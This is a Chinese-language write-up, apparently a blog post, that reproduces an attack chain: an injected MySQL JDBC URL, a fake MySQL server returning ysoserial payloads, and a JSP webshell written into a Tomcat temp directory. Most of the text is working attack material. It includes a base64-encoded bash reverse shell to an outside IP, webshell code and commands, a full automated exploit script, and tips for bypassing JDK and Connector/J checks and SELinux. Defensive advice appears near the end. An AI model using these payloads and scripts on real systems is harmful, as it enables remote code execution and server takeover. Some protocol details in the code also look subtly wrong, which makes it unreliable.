MySQL JDBC 不出网攻击 → Spring 临时文件利用:完整攻击链复现笔记

MySQL JDBC 不出网攻击 → Spring 临时文件利用:完整攻击链复现笔记

本文基于本地授权环境复现,仅供安全研究与学习参考。未经授权的渗透测试属于违法行为。


0x01 背景与攻击场景

在实际红队攻防中,目标服务器通常处于不出网 (无外连能力)的内网环境中,传统的 Runtime.exec() 反弹 shell 无法直接使用。攻击者需要寻找一条不依赖外连的完整利用链。

本文复现的攻击链路:

复制代码
可控 JDBC 连接串 → Fake MySQL Server → 反序列化触发 → 利用链执行 → Spring 临时文件写入 Webshell → HTTP 访问获取 Shell

整条链不依赖目标服务器的出网能力,所有流量走内网或本地回环。


0x02 MySQL JDBC 反序列化原理

2.1 核心机制

MySQL JDBC(Connector/J)在建立连接时存在多个可被利用的功能点:

参数 触发行为 利用价值
autoDeserialize=true 自动反序列化服务端返回的 Java 对象 直接 RCE
detectCustomCollations=true 探测排序规则时触发反序列化 高版本利用
statementInterceptors 加载指定类并实例化 加载恶意类
useServerPrepStmts=true 服务端预编译可被利用 辅助利用

2.2 高版本利用:detectCustomCollations

在 MySQL Connector/J 8.x 版本中,autoDeserialize 的部分利用方式被限制,但 detectCustomCollations 依然有效。

触发条件:

  • 连接串中包含 detectCustomCollations=true
  • MySQL 服务端版本号 > 5.0.0(可通过 Fake Server 伪造)
  • 连接建立后,客户端会执行 SHOW COLLATION 查询

关键源码位置(Connector/J 8.x):

java 复制代码
// com.mysql.cj.jdbc.ConnectionImpl.java
// initServerCharset() 方法中
if (getDetectCustomCollations()) {
    // 执行 SHOW COLLATION 查询
    // 结果中 Field 类型的 getBytes() 会被调用
    // 如果返回 ObjectInputStream 可读数据 → 反序列化
}

服务端返回的 SHOW COLLATION 结果集中,Field 对象的 getObject() 调用链最终会触发:

复制代码
ResultSetImpl.getObject()
  → Field.getObject()
    → SerializableDeserializer.deserialize()
      → ObjectInputStream.readObject()  ← 反序列化入口

2.3 autoDeserialize=true 直接利用

当 JDBC URL 包含 autoDeserialize=true 时,连接建立后客户端执行测试查询,服务端返回的序列化 Java 对象会被自动反序列化 ,触发 readObject()

这是最直接的利用方式,但在部分高版本中有额外检查。


0x03 不出网场景下的 Fake MySQL Server

3.1 方案选择

不出网场景下,攻击者无法在公网部署 Fake MySQL Server。可行方案:

  1. 目标机本地启动 --- 如果已获得文件写入/命令执行的初始权限
  2. 内网横向 --- 在目标可达的内网主机上启动
  3. 利用已有的内网 MySQL --- 如果内网存在可控 MySQL 实例(需满足版本要求)

3.2 Fake MySQL Server 核心实现

基于 Python 的 Fake MySQL Server,核心逻辑:

python 复制代码
import socket
import struct
from utils import *

class FakeMySQLServer:
    def __init__(self, port=3306):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.bind(('0.0.0.0', port))
        self.server.listen(1)

    def _build_greeting(self):
        """伪造 MySQL 服务端握手包"""
        # 协议版本
        protocol_version = b'\x0a'
        # 服务端版本号(必须 > 5.0.0)
        server_version = b'5.7.26-log\x00'
        # 连接 ID、auth data、capabilities、charset 等
        # ... 构造完整的 Initial Handshake Packet
        return packet

    def _build_collation_result(self, payload_file):
        """构造 SHOW COLLATION 结果包,内嵌序列化 payload"""
        with open(payload_file, 'rb') as f:
            payload = f.read()
        # 将 payload 作为查询结果的字段值返回
        # 客户端反序列化时会读取此数据
        return self._build_result_set(payload)

    def start(self, payload_file):
        """启动服务并等待连接"""
        conn, addr = self.server.accept()
        # 1. 发送 Greeting
        conn.send(self._build_greeting())
        # 2. 接收 Auth Response
        self._recv_packet(conn)
        # 3. 发送 OK
        conn.send(self._build_ok())
        # 4. 等待查询,返回恶意结果
        self._handle_queries(conn, payload_file)

关键点:

  • 服务端版本号必须 > 5.0.0,否则 detectCustomCollations 不触发
  • 返回的序列化数据必须是完整的 Java 对象字节流
  • 需要正确处理 MySQL 协议的包格式(4字节头 + payload)

3.3 生成反序列化 Payload

使用 ysoserial 生成:

bash 复制代码
# CommonsCollections 利用链(需目标 classpath 存在对应依赖)
java -jar ysoserial.jar CommonsCollections5 'curl http://vps:port/test' > cc5.bin
java -jar ysoserial.jar CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' > cc7.bin

# 若目标有 Spring 依赖,可用 Spring 相关链
java -jar ysoserial.jar Spring1 'touch /tmp/pwned' > spring1.bin

0x04 不出网场景的困境与突破

4.1 问题:反序列化执行了,但无法回连

在不出网环境中,即使用 Runtime.exec() 执行了命令,攻击者无法:

  • 反弹 Shell(无外连)
  • 回传命令结果(无 HTTP/DNS 回连)
  • 下载后续 Payload(无外连下载)

4.2 思路:利用 Spring 临时文件写入 Webshell

核心思路: 通过反序列化链执行命令,将 Webshell 写入 Spring Boot/Tomcat 的临时文件目录,再通过 HTTP 直接访问。

为什么选临时文件目录?

Spring Boot 内嵌 Tomcat 在处理 multipart/form-data 文件上传时,会将文件暂存到临时目录:

复制代码
/tmp/tomcat.xxx.xxxx/work/Tomcat/localhost/ROOT/

这个目录通常可以通过 HTTP 访问,且写入权限相对宽松。


0x05 Spring Boot/Tomcat 临时文件写入利用

5.1 Tomcat 临时文件机制

Tomcat 处理 multipart 请求的流程:

复制代码
HTTP POST (multipart/form-data)
  → StandardMultipartFilter
    → StandardMultipartHttpServletRequest
      → DiskFileItemFactory.createItem()
        → 临时文件写入: java.io.tmpdir + "/upload_xxx.tmp"

默认临时目录:

环境 临时目录路径
Linux (Spring Boot) /tmp/tomcat.xxxx/work/Tomcat/localhost/ROOT/
Windows (Spring Boot) C:\Users\xxx\AppData\Local\Temp\tomcat.xxxx\
独立 Tomcat $CATALINA_HOME/work/Catalina/localhost/

5.2 利用方式一:直接写入临时目录

通过反序列化执行命令,将 JSP 马写入临时文件目录:

bash 复制代码
# 反序列化链执行的命令(不出网,只能本地操作)
# 写入 JSP Webshell 到 Tomcat 临时目录
echo '<%
    Runtime rt = Runtime.getRuntime();
    String[] cmd = {"/bin/bash", "-c", request.getParameter("cmd")};
    Process p = rt.exec(cmd);
    java.io.InputStream in = p.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){out.print(new String(b,0,a));}
%>' > /tmp/tomcat.8080.xxxx/work/Tomcat/localhost/ROOT/shell.jsp

5.3 利用方式二:通过 JDBC 触发文件写入(更隐蔽)

利用 MySQL 的 LOAD_FILE() / INTO OUTFILE 结合 JDBC 连接,间接写入文件:

sql 复制代码
-- MySQL 端执行(需要 FILE 权限)
SELECT '<% ... %>' INTO OUTFILE '/tmp/tomcat.xxx/work/Tomcat/localhost/ROOT/shell.jsp';

但这种方式在不出网场景下不太适用,因为我们连接的是 Fake MySQL,不是真实 MySQL。

5.4 利用方式三(本文重点):反序列化链 + 命令写入

完整链路:

复制代码
1. 目标应用加载 JDBC 连接串(可控)
2. 连接到 Fake MySQL Server(内网/本地)
3. 服务端返回恶意序列化数据
4. 客户端 ObjectInputStream.readObject() 触发反序列化
5. 反序列化链执行系统命令:写入 Webshell 到 Tomcat 临时目录
6. 攻击者通过 HTTP 访问临时文件路径获取 Shell

0x06 完整复现步骤

6.1 环境搭建

yaml 复制代码
# 目标环境
Spring Boot: 2.3.x (内嵌 Tomcat 9.x)
MySQL Connector/J: 8.0.x
JDK: 8u202
commons-collections: 3.2.1

# 攻击环境
Python: 3.8+
ysoserial: latest
Fake MySQL Server: 自写/现有工具

Spring Boot 漏洞应用示例:

java 复制代码
@RestController
@SpringBootApplication
public class VulnerableApp {

    @GetMapping("/connect")
    public String connect(@RequestParam String url) {
        try {
            // 危险:直接使用用户可控的 JDBC URL
            Connection conn = DriverManager.getConnection(url);
            return "Connected";
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

6.2 Step 1:构造 JDBC 连接串

java 复制代码
// 触发 detectCustomCollations 反序列化的连接串
String jdbcUrl = "jdbc:mysql://127.0.0.1:3307/test?"
    + "autoDeserialize=true"
    + "&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

// 或使用 detectCustomCollations 方式(更通用)
String jdbcUrl2 = "jdbc:mysql://127.0.0.1:3307/test?"
    + "detectCustomCollations=true"
    + "&autoDeserialize=true";

参数说明:

复制代码
autoDeserialize=true
  → 开启自动反序列化

detectCustomCollations=true
  → 触发 SHOW COLLATION 探测,返回序列化数据

statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  → 高版本 Connector/J 8.x 中,需要配合此参数才能完整触发

6.3 Step 2:启动 Fake MySQL Server

bash 复制代码
# 使用现成的工具(如 fakemysql / rogue_mysql_server)
python3 fakemysql_server.py -P 3307 -G payload.ser

# 或使用 JNDIExploit 集成的 MySQL Fake Server
java -jar JNDIExploit.jar --mysql 3307

自写 Fake Server 关键点:

python 复制代码
def handle_client(self, conn):
    # 1. 发送 Greeting (版本号 5.7.26)
    self.send_greeting(conn)

    # 2. 接收 Handshake Response
    self.recv_packet(conn)

    # 3. 发送 OK Packet
    self.send_ok(conn)

    # 4. 接收查询请求
    while True:
        packet = self.recv_packet(conn)
        command_type = packet[4]  # 第5字节是命令类型

        if command_type == 0x03:  # COM_QUERY
            query = packet[5:].decode('utf-8', errors='ignore')
            if 'SHOW COLLATION' in query or 'SHOW VARIABLES' in query:
                # 返回包含恶意序列化数据的结果集
                self.send_malicious_result(conn, self.payload_data)
            else:
                self.send_empty_result(conn)

6.4 Step 3:生成 Payload

目标:写入 Webshell(不出网场景)

bash 复制代码
# 方法1:直接写文件的命令
java -jar ysoserial.jar CommonsCollections7 \
  'bash -c {echo,PCUgCiAgICBSdW50aW1lIHJ0ID0gUnVudGltZS5nZXRSdW50aW1lKCk7IAogICAgU3RyaW5nW10gY21kID0geyJiaW5iYXNoIiwgIi1jIiwgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpfTsgCiAgICBQcm9jZXNzIHAgPSBydC5leGVjKGNtZCk7IAogICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IHAuZ2V0SW5wdXRTdHJlYW0oKTsgCiAgICBpbnQgYSA9IC0xOyAKICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07IAogICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXtvdXQucHJpbnQobmV3IFN0cmluZyhiLDAsYSkpO30KJT4=}|{base64,-d}|{bash,-i}' \
  > payload_cc7.ser

# 方法2:使用更通用的链(Spring + CommonsCollections 混合)
java -jar ysoserial.jar Spring1 'bash -c {echo,...}|{base64,-d}|{bash,-i}' > payload_spring.ser

注意: base64 编码的是 JSP Webshell 的内容,避免命令行特殊字符转义问题。

6.5 Step 4:触发攻击

bash 复制代码
# 访问目标应用,触发 JDBC 连接
curl "http://target:8080/connect?url=jdbc:mysql://attacker_ip:3307/test?autoDeserialize=true%26detectCustomCollations=true%26statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

攻击流程时序:

复制代码
攻击者                     目标应用                    Fake MySQL
  |                          |                           |
  |-- HTTP GET /connect ---->|                           |
  |                          |-- JDBC connect --------->|
  |                          |   (autoDeserialize=true) |
  |                          |                           |
  |                          |<-- Greeting Packet ------|
  |                          |-- Auth Response -------->|
  |                          |<-- OK Packet ------------|
  |                          |                           |
  |                          |-- SHOW COLLATION ------->|
  |                          |<-- 恶意序列化结果 --------|
  |                          |                           |
  |                          | [ObjectInputStream       |
  |                          |  .readObject() 触发]      |
  |                          |                           |
  |                          | [反序列化链执行命令]       |
  |                          |  → 写入 Webshell 到       |
  |                          |    Tomcat 临时目录        |
  |                          |                           |
  |<-- HTTP GET /shell.jsp --|  (访问写入的 Webshell)    |
  |   → 获取 Shell           |                           |

6.6 Step 5:访问 Webshell

bash 复制代码
# 临时文件路径通常为:
# /tmp/tomcat.8080.xxxx/work/Tomcat/localhost/ROOT/shell.jsp
# 但文件名可能带随机后缀,需要枚举

# 通过 Spring Actuator 获取临时目录信息(如有)
curl http://target:8080/actuator/env | grep tmpdir

# 直接访问(如果知道路径)
curl "http://target:8080/shell.jsp?cmd=id"
curl "http://target:8080/shell.jsp?cmd=cat+/etc/passwd"

# 如果路径不确定,可以枚举 /tmp 下的文件
# 反序列化执行:ls /tmp/tomcat.*/work/Tomcat/localhost/ROOT/

0x07 踩坑记录

7.1 JDK 版本兼容问题

JDK 版本 影响 解决方案
JDK 8u20 以下 autoDeserialize 完全可用
JDK 8u20 ~ 8u71 部分限制,需配合 AnnotationInvocationHandler 使用 CommonsCollections6 链
JDK 8u72+ AnnotationInvocationHandler 被修复 使用 CommonsCollections7 或其他绕过链
JDK 11+ SecurityManager 默认更严格 需要更高级的绕过链或换思路

7.2 Connector/J 版本差异

复制代码
Connector/J 5.x:
  → autoDeserialize=true 直接触发
  → detectCustomCollations 同样有效

Connector/J 8.0.x ~ 8.0.20:
  → autoDeserialize 需要配合 statementInterceptors 参数
  → detectCustomCollations 仍然有效

Connector/J 8.0.21+:
  → 增加了反序列化类的白名单检查
  → 需要使用特定的类名绕过(如使用 JDBC Attack 的其他利用点)

7.3 临时文件权限问题

复制代码
问题1: Tomcat 临时目录无写入权限
  → 解决:选择其他可写目录(如 /var/tmp、应用工作目录)

问题2: SELinux / AppArmor 阻止写入
  → 解决:利用反序列化链先关闭安全模块,或换写入路径

问题3: 写入成功但 HTTP 无法访问
  → 解决:Tomcat 临时目录不一定在 Web 根路径下
  → 需要写入到 webapps/ROOT/ 下的静态资源目录
  → 或利用 Spring 的 ResourceHandler 映射路径

7.4 命令执行回显问题

python 复制代码
# 不出网场景下获取命令回显的方法

# 方法1:写入文件后通过 HTTP 读取
exec_cmd("whoami > /tmp/tomcat.xxx/work/Tomcat/localhost/ROOT/output.txt")
# 然后 GET /output.txt

# 方法2:利用 JNDI 注入 + 本地 Class 加载(复杂但更隐蔽)

# 方法3:利用 DNSLog 在内网 DNS 服务器上回显(需要内网 DNS 可控)

0x08 关键函数调用链分析

8.1 JDBC 连接建立的反序列化入口

复制代码
DriverManager.getConnection(url)
  → ConnectionImpl.getInstance(host, props)
    → ConnectionImpl.initializePropsFromServer()
      → if (getDetectCustomCollations())
        → session.execSQL(...)
          → NativeSession.execSQL()
            → MysqlIO.sqlQueryDirect()
              → ResultSetImpl.build()
                → ResultSetImpl.initializeFromField()
                  → Field.getObject()
                    → SerializableDeserializer.deserialize(bytes)
                      → ObjectInputStream.readObject()  ← 反序列化点

8.2 StatementInterceptor 触发链

复制代码
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  → postProcess()
    → ResultSetUtil.resultSetToMap(rs)
      → rs.getObject()
        → Field.getObject()
          → ObjectInputStream.readObject()  ← 反序列化点

8.3 CommonsCollections7 利用链(简述)

复制代码
PriorityQueue.readObject()
  → PriorityQueue.heapify()
    → PriorityQueue.siftDown()
      → siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> ChainedTransformer.transform()
            -> ConstantTransformer.transform()
              -> InvokerTransformer.transform()
                -> Runtime.exec()  ← 命令执行

0x09 完整自动化脚本

python 复制代码
#!/usr/bin/env python3
"""
MySQL JDBC 不出网攻击 → Spring 临时文件写入 自动化利用脚本
仅供授权安全研究使用
"""

import socket
import struct
import threading
import time
import requests
import argparse
import os

class MySQLFakeServer:
    """Fake MySQL Server 核心类"""

    def __init__(self, host='0.0.0.0', port=3306, payload_file=None):
        self.host = host
        self.port = port
        self.payload = self._load_payload(payload_file)
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    def _load_payload(self, filepath):
        if filepath and os.path.exists(filepath):
            with open(filepath, 'rb') as f:
                return f.read()
        raise FileNotFoundError(f"Payload file not found: {filepath}")

    def _build_packet(self, payload, seq_id=0):
        """构造 MySQL 协议包"""
        length = len(payload)
        header = struct.pack('<I', length)[0:3] + struct.pack('<B', seq_id)
        return header + payload

    def _build_greeting(self):
        """构造服务端握手包"""
        payload = bytearray()
        payload.append(0x0a)  # protocol version
        payload.extend(b'5.7.26-log\x00')  # server version
        payload.extend(struct.pack('<I', 12345))  # connection id
        payload.extend(b'abcdefgh')  # auth-plugin-data-part-1
        payload.append(0x00)  # filler
        payload.extend(struct.pack('<I', 0xffffffff))  # capability flags lower
        payload.append(0x21)  # character set (utf8)
        payload.extend(struct.pack('<H', 0x0002))  # status flags
        payload.extend(struct.pack('<B', 0x0f))  # capability flags upper
        payload.append(0x00)  # reserved
        payload.extend(b'\x00' * 10)  # reserved
        payload.extend(b'ijklmnopqrst\x00')  # auth-plugin-data-part-2
        payload.extend(b'mysql_native_password\x00')  # auth plugin name
        return self._build_packet(payload, 0)

    def _build_ok(self):
        """构造 OK 包"""
        payload = bytearray()
        payload.append(0x00)  # OK indicator
        payload.append(0x00)  # affected rows
        payload.append(0x00)  # last insert id
        payload.extend(struct.pack('<H', 0x0002))  # status flags
        payload.extend(struct.pack('<H', 0x0000))  # warnings
        return self._build_packet(payload, 2)

    def _build_result_with_payload(self):
        """构造包含反序列化 payload 的查询结果包"""
        # Field count
        field_count = self._build_packet(b'\x01', 1)

        # Field definition
        field_data = bytearray()
        field_data.extend(b'\x03def\x00\x00\x00\x01\x31\x00\x0c\x3f\x00\x01')
        field_data.extend(b'\x00\x00\x00\x08\x80\x00\x00\x00\x00')
        field_packet = self._build_packet(field_data, 2)

        # EOF
        eof = self._build_packet(b'\xfe\x00\x00\x02\x00', 3)

        # Data row with payload
        row_data = bytearray()
        row_data.append(0x00)  # protocol byte
        row_data.extend(struct.pack('<B', len(self.payload)))  # payload length
        row_data.extend(self.payload)  # 序列化数据
        row_packet = self._build_packet(row_data, 4)

        # EOF
        eof2 = self._build_packet(b'\xfe\x00\x00\x02\x00', 5)

        return field_count + field_packet + eof + row_packet + eof2

    def _handle_client(self, conn, addr):
        """处理客户端连接"""
        print(f"[+] Connection from {addr}")
        try:
            # 1. Send greeting
            conn.send(self._build_greeting())

            # 2. Receive auth
            auth_packet = conn.recv(4096)
            print(f"[*] Auth received ({len(auth_packet)} bytes)")

            # 3. Send OK
            conn.send(self._build_ok())
            print("[*] Auth OK sent")

            # 4. Wait for queries
            while True:
                packet = conn.recv(4096)
                if not packet:
                    break
                cmd = packet[4]
                if cmd == 0x03:  # COM_QUERY
                    query = packet[5:].decode('utf-8', errors='ignore')
                    print(f"[*] Query: {query}")
                    if 'COLLATION' in query or 'VARIABLE' in query.upper():
                        print("[!] Triggering deserialization!")
                        conn.send(self._build_result_with_payload())
                    else:
                        conn.send(self._build_ok())
                elif cmd == 0x01 or cmd == 0x04:  # COM_QUIT / COM_QUERY
                    break
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            conn.close()
            print(f"[-] Connection closed: {addr}")

    def start(self):
        """启动服务器"""
        self.server.bind((self.host, self.port))
        self.server.listen(5)
        print(f"[*] Fake MySQL Server listening on {self.host}:{self.port}")
        while True:
            conn, addr = self.server.accept()
            t = threading.Thread(target=self._handle_client, args=(conn, addr))
            t.start()


def trigger_jdbc(target_url, jdbc_url):
    """触发目标的 JDBC 连接"""
    payload = {
        'url': jdbc_url
    }
    try:
        r = requests.get(target_url, params=payload, timeout=10)
        print(f"[*] Trigger response: {r.status_code} - {r.text[:200]}")
    except Exception as e:
        print(f"[-] Trigger failed: {e}")


def verify_webshell(target_base, shell_path):
    """验证 Webshell 是否可访问"""
    url = f"{target_base}/{shell_path}"
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200:
            print(f"[+] Webshell accessible: {url}")
            return True
    except:
        pass
    print(f"[-] Webshell not found at: {url}")
    return False


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='JDBC Deserialization → Spring TempFile Exploit')
    parser.add_argument('--listen-port', type=int, default=3307, help='Fake MySQL port')
    parser.add_argument('--payload', required=True, help='Serialized payload file')
    parser.add_argument('--target', help='Target app URL (e.g., http://victim:8080/connect)')
    parser.add_argument('--jdbc-url', help='JDBC URL to inject')
    parser.add_argument('--shell-path', default='shell.jsp', help='Webshell filename')
    args = parser.parse_args()

    # Step 1: Start Fake MySQL Server
    server = MySQLFakeServer(port=args.listen_port, payload_file=args.payload)
    t = threading.Thread(target=server.start, daemon=True)
    t.start()
    time.sleep(1)

    # Step 2: Trigger (if target URL provided)
    if args.target and args.jdbc_url:
        print(f"[*] Triggering target: {args.target}")
        trigger_jdbc(args.target, args.jdbc_url)
        time.sleep(3)

        # Step 3: Verify
        target_base = args.target.split('/connect')[0] if '/connect' in args.target else args.target
        verify_webshell(target_base, args.shell_path)

    print("[*] Server running. Press Ctrl+C to stop.")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Shutting down.")

0x0A 防御措施

10.1 代码层面

java 复制代码
// ✅ 正确做法:限制 JDBC URL 来源
// 1. 禁止用户直接控制 JDBC URL
// 2. 使用连接池(HikariCP 等),URL 在配置文件中固定
// 3. 如需动态连接,严格校验 URL 协议和主机白名单

public Connection safeConnect(String host, int port, String dbName) {
    // 白名单校验
    if (!isAllowedHost(host)) {
        throw new IllegalArgumentException("Host not allowed");
    }
    String url = String.format("jdbc:mysql://%s:%d/%s?useSSL=true", host, port, dbName);
    return DriverManager.getConnection(url, username, password);
}

10.2 配置层面

yaml 复制代码
# application.yml 安全配置
spring:
  datasource:
    # 使用固定连接池,不暴露 JDBC URL 参数
    hikari:
      jdbc-url: jdbc:mysql://db-host:3306/app?useSSL=true
      maximum-pool-size: 10

# 禁用 Actuator 敏感端点
management:
  endpoints:
    web:
      exposure:
        include: health,info

10.3 运行时防御

防御措施 说明
升级 Connector/J 8.0.28+ 修复了部分反序列化点
JDK 版本升级 高版本 JDK 对反序列化有更多限制
WAF 规则 检测 JDBC URL 中的可疑参数
RASP 防护 拦截 ObjectInputStream.readObject() 调用
文件监控 监控 Tomcat 临时目录的异常文件写入
网络隔离 限制应用只能连接指定数据库,禁止任意 TCP 出连

10.4 最佳实践清单

  • JDBC URL 不可由用户外部输入控制
  • 使用连接池,URL 写死在配置文件中
  • 移除 classpath 中不必要的反序列化依赖(commons-collections 3.x 等)
  • 升级 MySQL Connector/J 至最新版
  • Tomcat 临时目录设置访问控制(readonly=true
  • 启用 RASP 拦截反序列化调用
  • 内网应用禁止出网(双向限制)
  • 定期审计应用依赖的已知漏洞组件

0x0B 总结

整条攻击链的核心价值在于不出网场景下的完整利用

复制代码
攻击面发现 → JDBC 连接串可控
    ↓
反序列化触发 → Fake MySQL + detectCustomCollations
    ↓
不出网命令执行 → 写入 Webshell 到 Tomcat 临时目录
    ↓
HTTP 访问获取 Shell → 完成攻击闭环

关键收获:

  1. 不出网 ≠ 安全,内网服务间的信任关系同样是攻击面
  2. JDBC 连接串是高价值攻击面,特别是支持动态 URL 的应用
  3. 临时文件写入是不出网场景下获取持久化访问的实用技巧
  4. 版本兼容性是实际利用中的主要障碍,需要针对目标环境调整利用链

本文仅供安全研究学习,所有测试均在本地授权环境中完成。

相关推荐
kgduu1 小时前
cosmos学习笔记
笔记·学习
05候补工程师1 小时前
【408 数据结构】图论核心算法(拓扑/关键路径)与二叉搜索树精髓夺分笔记
数据结构·经验分享·笔记·考研·算法·图论
AC赳赳老秦1 小时前
OpenClaw+MySQL 深度应用:自动生成建表语句、索引优化建议与数据迁移脚本
开发语言·数据库·人工智能·python·mysql·算法·openclaw
烛之武2 小时前
《深度学习基础与概念》笔记(2)
人工智能·笔记·深度学习
Wonderful U2 小时前
基于Python+Django+MySQL构建个人任务管理系统:告别零散记录,实现高效日程管理
python·mysql·django
用户398346161202 小时前
Go-Spring 实战第 17 课 —— App 运行模型:启动、运行与关闭
spring·go
白菜欣2 小时前
【MySQL】MySQL数据的增删改查(入门版)
数据库·mysql
whyTeaFo2 小时前
MIT 6.1810: xv6 book Chapter6: Interrupts and device drivers 笔记
笔记
AI人工智能+电脑小能手2 小时前
【大白话说Java面试题 第97题】【Mysql篇】第27题:说说分库与分表的设计?
java·开发语言·数据库·分布式·mysql·算法